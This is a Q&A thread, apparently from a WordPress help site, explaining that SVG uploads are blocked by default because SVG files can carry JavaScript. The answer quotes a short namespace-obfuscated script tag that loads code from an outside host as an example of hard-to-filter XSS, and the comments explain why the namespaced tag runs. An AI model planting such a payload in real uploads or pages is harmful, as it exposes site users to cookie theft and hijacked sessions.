15

I see that SVGs are blocked by default in the media uploader and you have to add it as a supported MIME type in functions.php. What security reasons are behind this?

17

SVG can contain JavaScript. JavaScript can be used to hijack cookies or do other questionable actions. It can even be "hidden" in namespaces:

<html xmlns:ø="http://www.w3.org/1999/xhtml">
   <ø:script src="//0x.lv/" />
</html>

source

It is very hard to filter that out during the upload, so it is just not allowed by default.

  • I thought the point of namespacing was to avoid tag name collision, meaning ø:script shouldn't be handled as script and thus should do nothing. What causes the namespaced ø:script tag to be treated as a non-namespaced script tag? Or do SVGs also allow embedding non-JS XML parsers? – JAB Jun 15 '15 at 17:55
  • @JAB the namespace http://www.w3.org/1999/xhtml makes this script instance an equivalent of a regular script. – fuxia Jun 15 '15 at 18:56
  • Oh, now I understand. The implicit namespace for HTML tags is http://www.w3.org/1999/xhtml, so you can create a reference to that URL and use it as a namespace prefix for such tags and XHTML parsers will handle them as normal tags. – JAB Jun 15 '15 at 23:18

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.